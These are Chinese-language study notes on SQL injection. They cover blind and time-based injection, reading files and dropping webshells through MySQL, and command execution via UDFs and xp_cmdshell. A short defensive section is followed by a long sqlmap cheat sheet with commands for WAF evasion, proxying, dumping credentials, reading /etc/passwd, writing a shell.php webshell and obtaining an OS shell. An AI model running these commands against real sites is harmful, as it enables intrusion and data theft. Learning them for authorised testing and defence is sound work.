盲注:服務器沒有錯誤回顯時完成的注入攻擊
利用了BENCHMARK()函數,該函數用於測試函數性能,利用該函數可以讓同一個函數執行若干次,根據返回時間長短變化,判斷是否執行成功
通過payload猜測出SQL的版本;
儘量數據庫賬號時,應該遵循”最小權限原則“
如果要將文件讀出後,將結果返回給攻擊者,首先需要當前數據庫用戶有創建表的權限,首先通過LOAD_FILE()將系統文件讀出,在通過INTODUMPFILE將該文件寫入系統,通過LOAD DATA INFLE將文件導入創建的表中;
除了可以使用INTO DUMPFILE還可以使用INTO OUTFILE,區別在於DUMP FILE 適用於二進制文件,outfile適用於文本文件;寫入文件的技巧在於導出一個webshell
MYSQL
通過命令執行 UDF(User-Defined Functions)執行命令
通過lib_mysqlludf_sys提供的幾個函數執行系統命令,主要是sys_eval()和sys_exec()
sys_eval() 執行任意命令,將輸出返回
sys_exec()執行任意命令,將推出碼返回
sys_get 獲取一個環境變量
sys_set 創建或修改一個環境變量
在MS SQL Server中 可以直接使用存儲過程”“xp_cmdshell”執行系統命令
攻擊存儲過程
MS SQL Server中 可以直接使用存儲過程”“xp_cmdshell”執行系統命令
編碼問題:統一數據庫、操作系統、web應用所使用的字符集,避免各層對字符的理解存在差異
防禦SQL注入方法:
要做兩件事:找到所有的SQL注入漏洞 修補這些漏洞
1)使用預編譯語句,綁定變量
2)使用存儲過程,和預編譯語句類似,區別在於存儲過程需要先將SQL語句定義在數據庫中;儘量避免在存儲過程內使用動態SQL語句;
3)檢查數據類型,數據格式和類型都要檢查
4)使用安全函數,如encodeForSQL,使用最小權限原則
其他注入:
XML注入
代碼注入
CRLF注入 即換行符
SQL注入是應用違背了“數據與代碼分離原則”導致的結果
有兩個條件:一是用戶能夠控制數據的輸入,二是代碼拼湊了用戶輸入的數據
筆記總結:
注入分類:
根據注入位置分爲,get注入,post注入,cookie注入;
根據注入參數類型分爲,字符注入,數字注入;
根據注入技術分類:錯誤注入,布爾注入,union注入,時間盲注;
典型注入流程:
判斷是否有SQL注入漏洞(通過手工注入或者自動化注入工具);
判斷操作系統和數據庫操作類型;
獲取數據庫信息;
加密信息破解;
提升權限;
內網滲透;
手工注入類型:
基於錯誤的注入:通過構造特殊語句,根據得到的錯誤信息,確認SQL注入點;
基於布爾注入:其思路是閉合SQL語句,構造or或and邏輯語句,註釋多餘的代碼;
基於UNION注入:用於聯合前面兩種注入,查詢更多的信息;
基於時間盲注:通過sleep語句判斷注入點;
工具:
SQLmap使用:
查看幫助 sqlmap -h sqlmap -hh
查看版本 sqlmap -v
查看注入日誌信息:more /root/.sqlmap/output/192.168.199.153/log
查看sqlmap配置文件,more /etc/sqlmap/sqlmap.conf
通過GET方法注入:
sqlmap -u "url" -u指定檢測網站
sqlmap -u "url" -f -p username -f:探測系統和數據庫信息;-p指定探測具體參數;
sqlmap -u "url" -p username --user -p:指定探測的具體參數,--user查看數據庫用戶信息
sqlmap -u "url" --banner 查看banner信息;
sqlmap -u "url" --dbs 查看有多少數據庫;
sqlmap -u "url" --all 查看所有的數據庫信息,下載所有能下載的數據庫信息,若檢測到加密信息,則直接進行破解;
通過POST方法注入:
設置到帶cookie才能訪問的注入頁面,可以採用-r參數來實現
採用fiddler/burpsuite/tamper等代理工具,攔截POST請求內容
將POST請求內容保存到post.txt文件中,並用sqlmap調用
語法:
sqlmap -r post.txt
sqlmap -r post.txt --dbs
sqlmap -r ~/Desktop/post
帶參數注入
注入時指明用戶名/密碼/Cookie等信息
sqlmap -u "url" --data="username=admin&password=123456"
sqlmap -u "url" --cookie="xxx"
混淆注入:
用於繞過WAF/IDS/IPS
sqlmap -u "url" --identify-WAF 識別WAF/IDS/IPS類型
sqlmap -u "url" --dbms=mysql --skip-WAF --random-agent --skip-waf繞過防火牆,--random-agent使用隨機http頭部;
sqlmap -u "url" --dbms=mysql --skip-WAF --random-agent --mobile --mobile 模擬手機請求;
sqlmap -u "url" --dbms=mysql --skip-WAF --random-agent --smart smart智能模式
sqlmap -u "url" --dbms=mysql --skip-WAF --random-agent --level 3 risk=2 提高安全/危險等級;
sqlmap -u "url" --dbms=mysql --skip-WAF --random-agent --offline 減少與對方的交互;
代理注入:
通過設置代理,防止SQL注入地址被發現,可將代理地址設置爲tor/vpn等本地代理工具
sqlmap -u "url" --proxy="proxy-ip" --proxy指定代理IP
sqlmap -u "url" --tor="tor-ip"
獲取數據:
--users 查看所有管理員賬號
--current-user 查看當前管理員賬號
--privileges -U user 查看當前賬號權限
--dbs 查看當前使用的數據庫
--tables -D “database” 查看當前數據表的字段內容
--columns -T “filelds” -D ”database“ 查看該字段內容的數量;
--count -T ”fields” -D "database" 查看此字段內容的數量
--dump-all 保存所有數據到本地;
--dump-all --exculde-sysdbs 除了系統默認數據表,保存所有數據到本地;
--dump -C “username,password” -T “fields” -D “database” 保存指定字段內容到本地;
提權操作:
文件讀寫:
--file-read=“etc/passwd" 讀取敏感信息
--file-write="shell.php" 需要有寫入權限,默認寫入到注入頁面所在目錄
--file-write=”shell.php" --file-dest "/tmp/shell.php" 編寫一句話木馬,然後用中國菜刀來連接,需要有寫入權限;
--sql-shell 獲取數據庫shell
與操作系統交互:
--os-cmd 執行shell命令
--os-shell 獲取系統shell
與metaspolit交互
--os-pwn